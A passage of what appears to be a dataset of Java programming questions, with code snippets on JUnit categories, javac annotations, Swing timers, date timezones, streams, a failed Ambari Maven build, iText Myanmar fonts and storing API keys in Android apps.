Category.My biggest issue is that even if I get the right count , it is very possible that one or more of the tests are marked @ Ignore which should nullify that tests @ Category 's but without heavy use of flags and reading every file line-by-line in order it throws off the correct count.Is there a good way to itemize @ Category 's that also factors in @ Ignore ? Example output","@ Test @ Category ( { com.example.core.categories.Priority1.class , com.example.core.categories.Export.class , com.example.core.categories.MemberData.class } ) @ Test @ Category ( { com.example.core.categories.Priority1.class , com.example.core.categories.Import.class , com.example.core.categories.MemberData.class } ) @ Test @ Ignore @ Category ( { com.example.core.categories.Priority2.class , com.example.core.categories.Import.class , com.example.core.categories.MemberData.class } ) | Category | Count || -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | -- -- -- : || com.example.core.categories.Export.class | 1 || com.example.core.categories.Import.class | 1 || com.example.core.categories.MemberData.class | 2 || com.example.core.categories.Priority1.class | 2 || com.example.core.categories.Priority2.class | 0 || com.example.core.categories.Priority3.class | 0 |",Get a count for the number of times a @ Category appears in a suite of tests in JUnit +Java,"I came across a strange effect in connection with annotations on method parameters in a nested class . Looks very much like a compiler issue to me . See below for details and steps to reproduce.Compile the following class with javac ( I used javac 1.7.0_51 ) . Note the annotated parameter `` boolean param3 '' .Then examine the nested class with javap ( i.e . javap -p -v -c TestAnnotations $ TestInner.class ) . Its constructor looks as follows.Note the number of annotations in the attribute RuntimeInvisibleParameterAnnotations - it 's 3 . At the same time we now observe 4 method parameters because of one additional test.TestAnnotations at the beginning ( it is used to pass a reference to TestAnnotations.this into the inner class ) . This means , @ MyAnnotation is now refering to Object param2 , shifted by 1 to the left.According to the Virtual Machine Specification the number of annotations should be the same as the number of method parameters : num_parameters The value of the num_parameters item gives the number of parameters of the method represented by the method_info structure on which the annotation occurs . ( This duplicates information that could be extracted from the method descriptor ( §4.3.3 ) . ) Here we clearly see a violation . Does anyone know the reason ? Is it really what it seems to be , just a compiler bug ?","import java.lang.annotation.Annotation ; import java.lang.annotation.Retention ; import java.lang.annotation.RetentionPolicy ; public class TestAnnotations { public String a ; @ Retention ( RetentionPolicy.CLASS ) @ interface MyAnnotation { } protected class TestInner { public TestInner ( String param1 , Object param2 , @ MyAnnotation boolean param3 ) { } public void accessField ( ) { System.out.println ( TestAnnotations.this.a ) ; } } } public test.TestAnnotations $ TestInner ( test.TestAnnotations , java.lang.String , java.lang.Object , boolean ) ; flags : ACC_PUBLIC Code : stack=2 , locals=5 , args_size=5 0 : aload_0 1 : aload_1 2 : putfield # 1 // Field this $ 0 : Ltest/TestAnnotations ; 5 : aload_0 6 : invokespecial # 2 // Method java/lang/Object . `` < init > '' : ( ) V 9 : return LineNumberTable : line 16 : 0 RuntimeInvisibleParameterAnnotations : 0 : 1 : 2 : 0 : # 18 ( )",Java annotations - javac compiler bug ? +Java,"I am trying to create a program to perform a simple task and produce an output every x seconds . I also want the program to run until I decide to manually close the program.I have been attempting to implement this using a Swing timer , as I believe this is the best way . The problem is I 'm not sure how to keep the program going once the main method has finished executing . So for example I have : which just finishes execution immediately . I can dodge the problem by putting the current thread of execution to sleep Thread.currentThread ( ) .sleep ( .. ) , but this feels like a botch job , and will be ultimately be finite in duration . I can also do while ( true ) , but I believe this is bad practice.My question is how to get the desired persistence behavior , and if there is a better way than using Swing timers.Thanks .","static ActionListener taskPerformer = new ActionListener ( ) { public void actionPerformed ( ActionEvent evt ) { try { //do stuff } catch ( Exception e ) { e.printStackTrace ( ) ; } } } ; public static void main ( String [ ] args ) throws Exception { Timer timer = new Timer ( 3000 , taskPerformer ) ; timer.start ( ) ; }",Swing timer persistence after main method finishes +Java,"I have some code which is reading user input from console using below code.However , this code should run in a very secure env , where every action 's permissions are controlled through a policy file.So I did my testing of the java code with policy file as I have no clue , what permission I should use to grant permission to console.readLine ( ) .",Console console = System.console ( ) ; String input = console.readLine ( ) ; grant codeBase `` file : /myjar.jar '' { permission java.security.AllPermission ; } ;,Permission for reading System.in in java +Java,"While testing my application I got a weird problem . When I put a date having the year before 1945 , it changes the timezone.I have got this simple program to show the problem.The output I am getting is below : -For the first one , I am getting it as +0630 and IDT , while for the second one , I am getting +0530 and IST which is expected.Edit : -After looking at @ Elliott Frisch answer I tried a date before 1942 : -output : -Here again , it says IST but shows +0553 . Should n't it be +0530.Just for a comparison , I tried same thing in javascript : -Which works fine . I want to know why java is affected by it , and if it 's a known problem , what is the possible workaround for it.Thanks in advance .","public static void main ( String [ ] args ) { SimpleDateFormat format = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm : ssZ '' ) ; Calendar calendar = Calendar.getInstance ( ) ; System.out.println ( `` **********Before 1945 '' ) ; calendar.set ( 1943 , Calendar.APRIL , 12 , 5 , 34 , 12 ) ; System.out.println ( format.format ( calendar.getTime ( ) ) ) ; System.out.println ( calendar.getTime ( ) ) ; System.out.println ( `` **********After 1945 '' ) ; calendar.set ( 1946 , Calendar.APRIL , 12 , 5 , 34 , 12 ) ; System.out.println ( format.format ( calendar.getTime ( ) ) ) ; System.out.println ( calendar.getTime ( ) ) ; } **********Before 19451943-04-12 05:34:12+0630Mon Apr 12 05:34:12 IDT 1943**********After 19451946-04-12 05:34:12+0530Fri Apr 12 05:34:12 IST 1946 calendar.set ( 1915 , Calendar.APRIL , 12 , 5 , 34 , 12 ) ; System.out.println ( format.format ( calendar.getTime ( ) ) ) ; System.out.println ( calendar.getTime ( ) ) ; 1915-04-12 05:34:12+0553Mon Apr 12 05:34:12 IST 1915 new Date ( `` 1946-04-12 05:34:12 '' ) //prints Fri Apr 12 1946 05:34:12 GMT+0530 ( IST ) new Date ( `` 1943-04-12 05:34:12 '' ) //prints Fri Apr 12 1943 05:34:12 GMT+0530 ( IST ) new Date ( `` 1915-04-12 05:34:12 '' ) //prints Mon Apr 12 1915 05:34:12 GMT+0530 ( IST )","Java Date timezone printing different timezones for different years , Workaround needed" +Java,"I recently learned about streams in Java 8 and started to work with them . Now I have a question regarding the groupingBy collector method : Usually I work with .NET , so I compared ( knowing they are not the same ) Java Stream < T > with .NET IEnumerable < T > . Following this comparison , List < T > stores elements and the particular Stream/IEnumerable applies operations . One example : C # : Java : In both examples , I start with a list , define operations ( a filter in this example ) and collect the result to store it ( in a new list in this example ) .Now I got a more complex case : The result of this query is a Map < String , Long > and I can work with this , but lets say , I want to proceed with this data instead of storing it . My current approach is trivial : But this way , I leave the stream , store the first result in a Map and open a new stream to continue . Is there a way to group without a collector , so that I can `` stay '' in the stream ?","elements.Where ( x = > x.Value == 5 ) .ToList ( ) ; elements.stream ( ) .filter ( x - > x.getValue ( ) == 5 ) .collect ( Collectors.toList ( ) ) ; data.stream ( ) .map ( ... ) .filter ( ... ) // Some operations .collect ( groupingBy ( Chunk : :getName , summingLong ( Chunk : :getValue ) ) ) ; ... .collect ( groupingBy ( Chunk : :getName , summingLong ( Chunk : :getValue ) ) ) .entrySet ( ) .stream ( ) . .map ( ... ) // Do more operations",Java 8 GroupingBy into Peek +Java,"Below codeIt is obvious that elements ca n't be added in zero length array.What does ic point to , if ic is not null ? As per below diagram , Is ic pointing to memory location 659e0bfd ( which is empty ) ?",public class Example { static int [ ] member ; public static void main ( String [ ] args ) { int [ ] ic = new int [ 0 ] ; if ( ic == null ) { System.out.println ( `` ic is null '' ) ; } System.out.println ( ic ) ; // [ I @ 659e0bfd if ( member == null ) { System.out.println ( `` member is null '' ) ; } } },Array of zero length in java +Java,"I 've been looking at a lot of code recently ( for my own benefit , as I 'm still learning to program ) , and I 've noticed a number of Java projects ( from what appear to be well respected programmers ) wherein they use some sort of immediate down-casting.I actually have multiple examples , but here 's one that I pulled straight from the code : And from the same project , here 's another ( perhaps more concise ) example : In the first example , you can see that the method has a return type of Set < Coordinates > - however , that specific method will always only return a HashSet - and no other type of Set.In the second example , liveCellCoordinates is initially defined as a Set < Coordinates > , but is immediately turned into a HashSet.And it 's not just this single , specific project - I 've found this to be the case in multiple projects.I am curious as to what the logic is behind this ? Is there some code-conventions that would consider this good practice ? Does it make the program faster or more efficient somehow ? What benefit would it have ?",public Set < Coordinates > neighboringCoordinates ( ) { HashSet < Coordinates > neighbors = new HashSet < Coordinates > ( ) ; neighbors.add ( getNorthWest ( ) ) ; neighbors.add ( getNorth ( ) ) ; neighbors.add ( getNorthEast ( ) ) ; neighbors.add ( getWest ( ) ) ; neighbors.add ( getEast ( ) ) ; neighbors.add ( getSouthEast ( ) ) ; neighbors.add ( getSouth ( ) ) ; neighbors.add ( getSouthWest ( ) ) ; return neighbors ; } private Set < Coordinates > liveCellCoordinates = new HashSet < Coordinates > ( ) ;,What is the benefit of immediate down-casting ? +Java,"Q . Are you still following the principle of Program to an Interface if you are creating abstract methods in an abstract class that is not linked to an interface ? I use an Interface already for all of my UI classes that I have created ; however , given the reason for the Interface , I do n't see a direct correlation with the abstract method that I want to create and the already existing Interface.Normally , I would just create the abstract method and be done ; however , I am wondering if I am breaking the design principle of Program to an Interface or not.Q . Should I create another interface for this or just stick with the abstract method ? NOTE : This is NOT an interface vs. abstract class question.Note : My Base class is more for simplifing the code in the concrete classes . The base class deals with some overridden methods , helper methods , initialization , etc ... So it is not acting like an interface , but as your standard abstract class .","public abstract class BaseClass extends Clazz implements Interface { // 1 out of 4 interface methods are implemented here CustomObj getMode ( ) { ... } // I am actually also thinking of taking that 1 method - getMode ( ) - out of the // interface and implementing it as an implemented method without an interface . // Method that made me ask this question ! ! abstract CustomObj getDefaultMode ( ) ; // Not related to the interface - Interface } public interface Interface { String getFirstNumber ( ) ; String getSecondNumber ( ) ; CustomObj getMode ( ) ; // This one is implemented in the BaseClass , but I think it no longer belongs in this role // CustomObj getDefaultMode ( ) ; // This one is not in Interface , but makes be believe I need a new Interface or just have them declared in an Abstract Class . }",Creating new Abstract Method vs Interface Method +Java,I am trying to build Ambari RPM from source code . After running this command I am getting error as stated belowmvn -B clean install rpm : rpm -DnewVersion=2.7.5.0.0 -DbuildNumber=5895e4ed6b30a2da8a90fee2403b6cab91d19972 -DskipTests -Dpython.ver= '' python > = 2.6 '' Error : pom.xml : pom.xmlSo far I have tried to change the node version at this directory ambari-admin/src/main/resources/ui/admin-web/node by changing the node binary file,"[ WARNING ] npm WARN package.json adminconsole @ 0.0.0 No description [ WARNING ] npm WARN package.json adminconsole @ 0.0.0 No repository field . [ WARNING ] npm WARN package.json adminconsole @ 0.0.0 No README data [ WARNING ] npm WARN package.json adminconsole @ 0.0.0 No license field . [ INFO ] [ INFO ] -- - exec-maven-plugin:1.2.1 : exec ( Bower install ) @ ambari-admin -- -bower error Unexpected token { Stack trace : SyntaxError : Unexpected token { at exports.runInThisContext ( vm.js:53:16 ) at Module._compile ( module.js:373:25 ) at Object.Module._extensions..js ( module.js:416:10 ) at Module.load ( module.js:343:32 ) at Function.Module._load ( module.js:300:12 ) at Module.require ( module.js:353:17 ) at require ( internal/module.js:12:17 ) at Object. < anonymous > ( /root/apache-ambari-2.7.5-src/ambari-admin/src/main/resources/ui/admin-web/node_modules/bower/node_modules/bower-registry-client/node_modules/request/lib/cookies.js:3:13 ) at Module._compile ( module.js:409:26 ) at Object.Module._extensions..js ( module.js:416:10 ) Console trace : Trace at StandardRenderer.error ( /root/apache-ambari-2.7.5-src/ambari-admin/src/main/resources/ui/admin-web/node_modules/bower/lib/renderers/StandardRenderer.js:72:17 ) at Logger. < anonymous > ( /root/apache-ambari-2.7.5-src/ambari-admin/src/main/resources/ui/admin-web/node_modules/bower/bin/bower:111:22 ) at emitOne ( events.js:77:13 ) at Logger.emit ( events.js:169:7 ) at Logger.emit ( /root/apache-ambari-2.7.5-src/ambari-admin/src/main/resources/ui/admin-web/node_modules/bower/node_modules/bower-logger/lib/Logger.js:29:39 ) at /root/apache-ambari-2.7.5-src/ambari-admin/src/main/resources/ui/admin-web/node_modules/bower/lib/commands/index.js:40:20 at _rejected ( /root/apache-ambari-2.7.5-src/ambari-admin/src/main/resources/ui/admin-web/node_modules/bower/node_modules/q/q.js:797:24 ) at /root/apache-ambari-2.7.5-src/ambari-admin/src/main/resources/ui/admin-web/node_modules/bower/node_modules/q/q.js:823:30 at Promise.when ( /root/apache-ambari-2.7.5-src/ambari-admin/src/main/resources/ui/admin-web/node_modules/bower/node_modules/q/q.js:1035:31 ) at Promise.promise.promiseDispatch ( /root/apache-ambari-2.7.5-src/ambari-admin/src/main/resources/ui/admin-web/node_modules/bower/node_modules/q/q.js:741:41 ) System info : Bower version : 1.3.8Node version : 4.5.0OS : Linux 3.10.0-1062.el7.x86_64 x64 [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] Reactor Summary : [ INFO ] [ INFO ] Ambari Main 2.7.5.0.0 ... ... ... ... ... ... ... ... ... ... SUCCESS [ 3.564 s ] [ INFO ] Apache Ambari Project POM 2.7.5.0.0 ... ... ... ... ... . SUCCESS [ 0.182 s ] [ INFO ] Ambari Web 2.7.5.0.0 ... ... ... ... ... ... ... ... ... ... . SUCCESS [ 59.879 s ] [ INFO ] Ambari Views 2.7.5.0.0 ... ... ... ... ... ... ... ... ... .. SUCCESS [ 1.327 s ] [ INFO ] Ambari Admin View 2.7.5.0.0 ... ... ... ... ... ... ... ... FAILURE [ 4.946 s ] [ INFO ] ambari-utility 1.0.0.0-SNAPSHOT ... ... ... ... ... ... .. SKIPPED [ INFO ] ambari-metrics 2.7.5.0.0 ... ... ... ... ... ... ... ... ... SKIPPED [ INFO ] Ambari Metrics Common 2.7.5.0.0 ... ... ... ... ... ... .. SKIPPED [ INFO ] Ambari Metrics Hadoop Sink 2.7.5.0.0 ... ... ... ... ... SKIPPED [ INFO ] Ambari Metrics Flume Sink 2.7.5.0.0 ... ... ... ... ... . SKIPPED [ INFO ] Ambari Metrics Kafka Sink 2.7.5.0.0 ... ... ... ... ... . SKIPPED [ INFO ] Ambari Metrics Storm Sink 2.7.5.0.0 ... ... ... ... ... . SKIPPED [ INFO ] Ambari Metrics Storm Sink ( Legacy ) 2.7.5.0.0 ... ... . SKIPPED [ INFO ] Ambari Metrics Collector 2.7.5.0.0 ... ... ... ... ... .. SKIPPED [ INFO ] Ambari Metrics Monitor 2.7.5.0.0 ... ... ... ... ... ... . SKIPPED [ INFO ] Ambari Metrics Grafana 2.7.5.0.0 ... ... ... ... ... ... . SKIPPED [ INFO ] Ambari Metrics Host Aggregator 2.7.5.0.0 ... ... ... .. SKIPPED [ INFO ] Ambari Metrics Assembly 2.7.5.0.0 ... ... ... ... ... ... SKIPPED [ INFO ] Ambari Service Advisor 1.0.0.0-SNAPSHOT ... ... ... ... SKIPPED [ INFO ] Ambari Server 2.7.5.0.0 ... ... ... ... ... ... ... ... ... . SKIPPED [ INFO ] Ambari Functional Tests 2.7.5.0.0 ... ... ... ... ... ... SKIPPED [ INFO ] Ambari Agent 2.7.5.0.0 ... ... ... ... ... ... ... ... ... .. SKIPPED [ INFO ] ambari-logsearch 2.7.5.0.0 ... ... ... ... ... ... ... ... . SKIPPED [ INFO ] Ambari Logsearch Appender 2.7.5.0.0 ... ... ... ... ... . SKIPPED [ INFO ] Ambari Logsearch Config Api 2.7.5.0.0 ... ... ... ... .. SKIPPED [ INFO ] Ambari Logsearch Config JSON 2.7.5.0.0 ... ... ... ... . SKIPPED [ INFO ] Ambari Logsearch Config Solr 2.7.5.0.0 ... ... ... ... . SKIPPED [ INFO ] Ambari Logsearch Config Zookeeper 2.7.5.0.0 ... ... .. SKIPPED [ INFO ] Ambari Logsearch Config Local 2.7.5.0.0 ... ... ... ... SKIPPED [ INFO ] Ambari Logsearch Log Feeder Plugin Api 2.7.5.0.0 ... SKIPPED [ INFO ] Ambari Logsearch Log Feeder Container Registry 2.7.5.0.0 SKIPPED [ INFO ] Ambari Logsearch Log Feeder 2.7.5.0.0 ... ... ... ... .. SKIPPED [ INFO ] Ambari Logsearch Web 2.7.5.0.0 ... ... ... ... ... ... ... SKIPPED [ INFO ] Ambari Logsearch Server 2.7.5.0.0 ... ... ... ... ... ... SKIPPED [ INFO ] Ambari Logsearch Assembly 2.7.5.0.0 ... ... ... ... ... . SKIPPED [ INFO ] Ambari Logsearch Integration Test 2.7.5.0.0 ... ... .. SKIPPED [ INFO ] ambari-infra 2.7.5.0.0 ... ... ... ... ... ... ... ... ... .. SKIPPED [ INFO ] Ambari Infra Solr Client 2.7.5.0.0 ... ... ... ... ... .. SKIPPED [ INFO ] Ambari Infra Solr Plugin 2.7.5.0.0 ... ... ... ... ... .. SKIPPED [ INFO ] Ambari Infra Manager 2.7.5.0.0 ... ... ... ... ... ... ... SKIPPED [ INFO ] Ambari Infra Assembly 2.7.5.0.0 ... ... ... ... ... ... .. SKIPPED [ INFO ] Ambari Infra Manager Integration Tests 2.7.5.0.0 ... SKIPPED [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] BUILD FAILURE [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] Total time : 01:10 min [ INFO ] Finished at : 2020-05-07T05:14:37-04:00 [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ ERROR ] Failed to execute goal org.codehaus.mojo : exec-maven-plugin:1.2.1 : exec ( Bower install ) on project ambari-admin : Command execution failed . Process exited with an error : 1 ( Exit value : 1 ) - > [ Help 1 ] [ ERROR ] [ ERROR ] To see the full stack trace of the errors , re-run Maven with the -e switch . [ ERROR ] Re-run Maven using the -X switch to enable full debug logging . [ ERROR ] [ ERROR ] For more information about the errors and possible solutions , please read the following articles : [ ERROR ] [ Help 1 ] http : //cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException [ ERROR ] [ ERROR ] After correcting the problems , you can resume the build with the command [ ERROR ] mvn < args > -rf : ambari-admin",Ambari Admin View 2.7.5.0.0 build failure +Java,Itext 5 do not display correctly at generated pdf file for Myanmar Unicode fonts.Itext version : 5.5.13.1Expectation Result : သီဟိုဠ်မှ ဉာဏ်ကြီးရှင်သည်အာယုဝဎ္ဍနဆေးညွှန်းစာကို ဇလွန်ဈေးဘေးဗာဒံပင်ထက် အဓိဋ္ဌာန်လျက် ဂဃနဏဖတ်ခဲ့သည်။Actual Result : Google Drive Link for generated PDF.My test string is similar with `` The quick brown fox jump over the lazy dog '' in English . It contains most of Myanmar alphabets.Java program that I used to product above pdfOuput texts are correct ( you can copy and paste into a text editors like Notepad++ and see the result ) but wrong display at pdf file.What should I do to display correctly Myanmar Unicode Font by using itext-pdf-5 ? Now I 'm using dirty way to see the fonts readable . I converted all unicode strings to `` Zawgyi Font '' ( This is another Myanmar font and we should never use this . ) and embeded into pdf . This is not good solution and we ca n't promise all unicodes are correctly converted to Zawgyi-One font string and I do n't want to convert unicode texts to non-standard texts . That 's why I do n't want to use this way.Edited about ZawGyi Font with ItextSome texts also do not render correctly with itext . Eg : သိန္နီ ၊ ဂွ,"String fileName = `` sample.pdf '' ; ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ; try { Document doc = new Document ( ) ; PdfWriter writer = PdfWriter.getInstance ( doc , baos ) ; writer.setCloseStream ( false ) ; BaseFont unicode = BaseFont.createFont ( `` /fonts/NotoSansMyanmar-Regular.ttf '' , BaseFont.IDENTITY_H , BaseFont.EMBEDDED ) ; Font myanmarUniCodeFont = new Font ( unicode , 11 , Font.NORMAL , BaseColor.BLACK ) ; Rectangle pageSize = new Rectangle ( PageSize.A4 ) ; doc.setPageSize ( pageSize ) ; doc.open ( ) ; String textStr = `` သီဟိုဠ်မှ ဉာဏ်ကြီးရှင်သည်အာယုဝဎ္ဍနဆေးညွှန်းစာကို ဇလွန်ဈေးဘေးဗာဒံပင်ထက် အဓိဋ္ဌာန်လျက် ဂဃနဏဖတ်ခဲ့သည်။ '' ; doc.add ( new Paragraph ( textStr , myanmarUniCodeFont ) ) ; doc.close ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } response.setCharacterEncoding ( StandardCharsets.UTF_8.name ( ) ) ; response.setHeader ( `` Cache-Control '' , `` no-cache , no-store , max-age=0 '' ) ; response.setHeader ( `` Pragma '' , `` No-cache '' ) ; response.setHeader ( `` Content-Disposition '' , `` inline ; filename= '' + fileName ) ; response.setContentType ( `` application/pdf '' ) ; response.setContentLength ( baos.size ( ) ) ; OutputStream os = response.getOutputStream ( ) ; baos.writeTo ( os ) ; os.flush ( ) ; os.close ( ) ; baos.close ( ) ;",Itext PDF do not display correctly Myanmar Unicode Font +Java,"My application uses a number of API keys and URLs that I ca n't allow users to see . I 've been putting them directly in the code , sometimes embedded in the method that uses them and sometimes in a class called MyVals that stores commonly used strings and numbers.e.g . : Is this safe ? Does it make a difference if I 'm creating my APK with Proguard ? What 's the best practice for this ?",public class MyVals { private LGVals ( ) { } public static final String DB_URL = `` https : //mydb.dbprovider.org/ '' ; public static final String DB_Key = `` klJF* ( oh8iyhkkde '' ; public static final String TableKey_UserList = `` o9w6owifhayf98fnwihj '' ; },Android : Is it safe to put a sensitive string in my Java code ? +Java,"I have this class , in src/main/java/RawTypes.java : If I run javac -Xlint src/main/java/RawTypes.java , I get 2 warnings : a rawtypes warning and an unchecked warning : Which is what I expect.Here is my pom.xml : Now , when I run mvn clean compile , I only get the unchecked warning : But I do n't get the rawtypes warning.I 'm running OS X , and this happens on both Java 1.7.0_79 and 1.8.0_45 . I 've tried various versions of the maven-compiler-plugin with various combinations of specifying the parameter ( < compilerArgument > , < compilerArgs > , -Xlint , -Xlint : all , -Xlint : rawtypes ) , but none of them worked.What 's going on ? What should I do to get the rawtypes warning after all ?","import java.util . * ; public class RawTypes { private List raw ; public void sortRaw ( ) { raw.addAll ( raw ) ; } } src/main/java/RawTypes.java:4 : warning : [ rawtypes ] found raw type : List private List raw ; ^ missing type arguments for generic class List < E > where E is a type-variable : E extends Object declared in interface Listsrc/main/java/RawTypes.java:7 : warning : [ unchecked ] unchecked call to addAll ( Collection < ? extends E > ) as a member of the raw type List raw.addAll ( raw ) ; ^ where E is a type-variable : E extends Object declared in interface List2 warnings < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/maven-v4_0_0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > nl.jqno.rawtypes < /groupId > < artifactId > rawtypes < /artifactId > < version > 0.1-SNAPSHOT < /version > < properties > < maven.compiler.source > 1.7 < /maven.compiler.source > < maven.compiler.target > 1.7 < /maven.compiler.target > < encoding > UTF-8 < /encoding > < /properties > < build > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-compiler-plugin < /artifactId > < version > 3.5 < /version > < configuration > < compilerArgument > -Xlint < /compilerArgument > < /configuration > < /plugin > < /plugins > < /build > < /project > [ INFO ] Scanning for projects ... [ INFO ] [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] Building rawtypes 0.1-SNAPSHOT [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] [ INFO ] -- - maven-clean-plugin:2.5 : clean ( default-clean ) @ rawtypes -- - [ INFO ] Deleting /Users/jqno/javarawtypes/target [ INFO ] [ INFO ] -- - maven-resources-plugin:2.6 : resources ( default-resources ) @ rawtypes -- - [ INFO ] Using 'UTF-8 ' encoding to copy filtered resources . [ INFO ] skip non existing resourceDirectory /Users/jqno/javarawtypes/src/main/resources [ INFO ] [ INFO ] -- - maven-compiler-plugin:3.5 : compile ( default-compile ) @ rawtypes -- - [ INFO ] Changes detected - recompiling the module ! [ INFO ] Compiling 1 source file to /Users/jqno/javarawtypes/target/classes [ WARNING ] /Users/jqno/javarawtypes/src/main/java/RawTypes.java : [ 7,19 ] unchecked call to addAll ( java.util.Collection < ? extends E > ) as a member of the raw type java.util.List [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] BUILD SUCCESS [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ INFO ] Total time : 0.903 s [ INFO ] Finished at : 2016-02-06T23:03:37+01:00 [ INFO ] Final Memory : 15M/267M [ INFO ] -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --",-Xlint : rawtypes not working in Maven +Java,I have node class asI have to insert nodes to the list.It works properly . But always the head value is zero.In main function I have created head node asafter creating this implementation the list starting from head looks like 0- > 5 . Why did the 0 come ? .,"class Node { int data ; Node next ; } public void createlist ( Node n , int p ) { Node newone = new Node ( ) ; newone.data=p ; newone.next=null ; if ( n==null ) n=newone ; else { while ( temp.next ! =null ) temp=temp.next ; temp.next=newone ; } } public static void main ( String args [ ] ) { Scanner s = new Scanner ( System.in ) ; Node head=new Node ( ) ; createlist ( head,5 ) ; }",Insertion in a linked list having head as null +Java,Exactly the same code running under Java 9u4 on the left and 8u144 on the right on Windows 7.Java 9 seems to making the window larger . What is causing this - JEP 263 ? How can I disable it ?,"public class SimpleFrame { public static void main ( String [ ] args ) { JFrame frame = new JFrame ( ) ; frame.getContentPane ( ) .add ( new JLabel ( `` Horse '' ) ) ; frame.setSize ( new Dimension ( 200 , 100 ) ) ; frame.setVisible ( true ) ; } }",JFrame scaling in Java 9 +Java,"I am reading through AngelikaLangerDoc . I am reading it after a gap of almost three days.In my earlier lesson , i learnt that , arrays of unbounded wild card are allowed to be created.I also studied unbounded wild-card parameterized types are called Reifiable types . When i searchedthe definition of reifiable type , it states that , a type whose type information is known at run-timeis called reifiable type . Picking a code snippet from the article.I have the following confusion in mind.Why we say unbounded wild-card parameterized type is called reifiable ? In example above , how the type information is known ? I know it 's a basic question . I am just trying to get back the refresher to get back ontrack of Generics . Can anyone elaborate on this issue ?","Pair < ? , ? > [ ] iniPair = new Pair < ? , ? > [ 10 ] ;",Why we call unbounded wild-card parameterized type as reifiable ? +Java,"I have a thread safe class Container : Then I have a list of containers : I would like to iterate through the list , aquire the container 's lock at each iteration and , only at the end of loop , release all locks.Something like this : I still want other threads to be able to continue to use getX and setX methods of unlocked containers , but for various reasons I do not want to allow that for already analysed containers.Do you know the java code for that ? Better ideas are also appreciated .",public class Container { private int x ; ... public synchronized int getX ( ) ; public synchronized void setX ( int x ) ; } List < Container > containers ; for ( Container c : containers ) { c.lock ( ) ; //do stuff } for ( Container c : containers ) c.unlock ( ) ;,Java combine explicit locks with synchronized methods +Java,"The definition of a functional Interface in Java 8 says : A functional interface is defined as any interface that has exactly one explicitly declared abstract method . ( The qualification is necessary because an interface may have non-abstract default methods . ) This is why functional interfaces used to be called Single Abstract Method ( SAM ) interfaces , a term that is still sometimes seen.So how come we have this : As the sort method in List is : And the lambda expression says : Lambda Expression should be assignable to a Functional InterfaceThe Comparator interface has two abstract methods which are compare and equals and is annotated with @ FunctionalInterface . Does not this violate the definition of a functional interface having only one abstract method ?","List < Double > temperature = new ArrayList < Double > ( Arrays.asList ( new Double [ ] { 20.0 , 22.0 , 22.5 } ) ) ; temperature.sort ( ( a , b ) - > a > b ? -1 : 1 ) ; default void sort ( Comparator < ? super E > c ) { Object [ ] a = this.toArray ( ) ; Arrays.sort ( a , ( Comparator ) c ) ; ListIterator < E > i = this.listIterator ( ) ; for ( Object e : a ) { i.next ( ) ; i.set ( ( E ) e ) ; } }",Definition of Functional Interface in Java 8 +Java,With SLF4J I can get a logger from a class and configure the logging level like this : How do I do the same with log4j 2 ?,private static Logger logger = ( Logger ) LoggerFactory.getLogger ( SomeClass.class.getName ( ) ) ; logger.setLevel ( Level.TRACE ) ;,Configuring a Logger Programmatically with Log4J 2 ? +Java,"This question is limited in scope to HotSpot generations . Is there any way to programmatically find out in which generation a particular instance lives . Data such as : Young or old generation ? If young , which survivor space ? Inside TLAB ? Which thread ? Any technique ( ex. , BTrace , JVMTI ) works so long as I can do something like this : Beggars ca n't be choosers but ideally I could also learn when the instance of interest was being moved from one generation to another at the moment it happens ( i.e. , event callback based -- not interested in the delay & overhead implicit in polling . ) Not interested in answers that just say `` no '' without justification : )",Object x = new Object ( ) ; HotSpotGenerationInfo info = HotSpotGenerationUtil.getInfo ( x ) ;,Can I programmatically find out in which GC generation an instance lives ? +Java,If input is 01-01-2015 it should change to 2015-01-01.If input is 2015-01-01 it should change to 01-01-2015.I used SimpleDateFormat but did n't get the correct output : I want some condition that automatically detects the date 's pattern and change to the other format .,//Class to change date dd-MM-yyyy to yyyy-MM-dd and vice versapublic class ChangeDate { static SimpleDateFormat formatY = new SimpleDateFormat ( `` yyyy-MM-dd '' ) ; static SimpleDateFormat formatD = new SimpleDateFormat ( `` dd-MM-yyyy '' ) ; //This function change dd-MM-yyyy to yyyy-MM-dd public static String changeDtoY ( String date ) { try { return formatY.format ( formatD.parse ( date ) ) ; } catch ( Exception e ) { return null ; } } //This function change yyyy-MM-dd to dd-MM-yyyy public static String changeYtoD ( String date ) { try { return formatD.format ( formatY.parse ( date ) ) ; } catch ( Exception e ) { return null ; } } },Date format changing +Java,I can replace dollar signs by using Matcher.quoteReplacement . I can replace words by adding boundary characters : But I ca n't seem to combine them to replace words with dollar signs.Here 's an example . I am 